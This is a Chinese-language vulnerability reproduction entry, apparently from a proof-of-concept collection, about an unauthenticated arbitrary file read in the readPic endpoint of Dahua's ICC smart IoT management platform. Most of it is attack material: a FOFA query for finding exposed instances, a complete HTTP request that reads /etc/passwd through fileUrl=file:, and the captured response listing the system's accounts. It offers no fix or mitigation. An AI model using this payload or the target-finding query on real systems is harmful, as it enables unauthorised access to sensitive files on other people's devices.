

D4-2大华-智能物联综合管理平台-任意文件读取

漏洞描述：

大华ICC智能物联综合管理平台 readpic接口处存在任意文件读取漏洞，未经身份验证的攻击者 可以获取系统内部敏感文件信息，使系统处于极不安全的状态。

网站图片：



网络测绘：

fofa语法：

FOFA: body="客户端会小于800"

漏洞复现：

payload:

```
GET /evo-apigw/evo-cirs/file/readPic?fileUrl=file:/etc/passwd HTTP/1.1
Host: your-ip
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
Accept: */*
Connection: Keep-Alive
```

效果图：

Request

< > 数据包扫描 热加载 构造请求

1 GET /evo-apigw/evo-cirs/file/readPic?fileUrl=file:/etc/passwd HTTP/1.1

2 Host:

3 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)

4 Accept: */*

5 Connection: Keep-Alive

Responses https 1218bytes / 114ms

8 X-Content-Type-Options: nosniff

9 X-XSS-Protection: 1; mode=block

10 Cache-Control: no-cache, no-store, max-age=

11 Pragma: no-cache

12 Expires: 0

13 Strict-Transport-Security: max-age=63072000

14 Content-Length: 1218

15

16 root:x:0:0:root:/root:/bin/bash

17 bin:x:1:1:bin:/bin:/sbin/nologin

18 daemon:x:2:2:daemon:/sbin:/sbin/nologin

19 adm:x:3:4:adm:/var/adm:/sbin/nologin

20 lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin

21 sync:x:5:0:sync:/sbin:/bin/sync

22 shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown

23 halt:x:7:0:halt:/sbin:/sbin/halt

24 mail:x:8:12:mail:/var/spool/mail:/sbin/nologin

25 operator:x:11:0:operator:/root:/sbin/nologin

26 games:x:12:100:games:/usr/games:/sbin/nologin

27 ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin

28 nobody:x:99:99:Nobody:./:/sbin/nologin

29 systemd-network:x:192:192:systemd Network

30 dbus:x:81:81:system message bus:./:/sbin/nologin

31 polkitd:x:999:998:User for polkitd:./:/sbin/nologin

32 libstoragemgmt:x:998:997:daemon account for

33 abrt:x:173:173:./etc/abrt:/sbin/nologin

34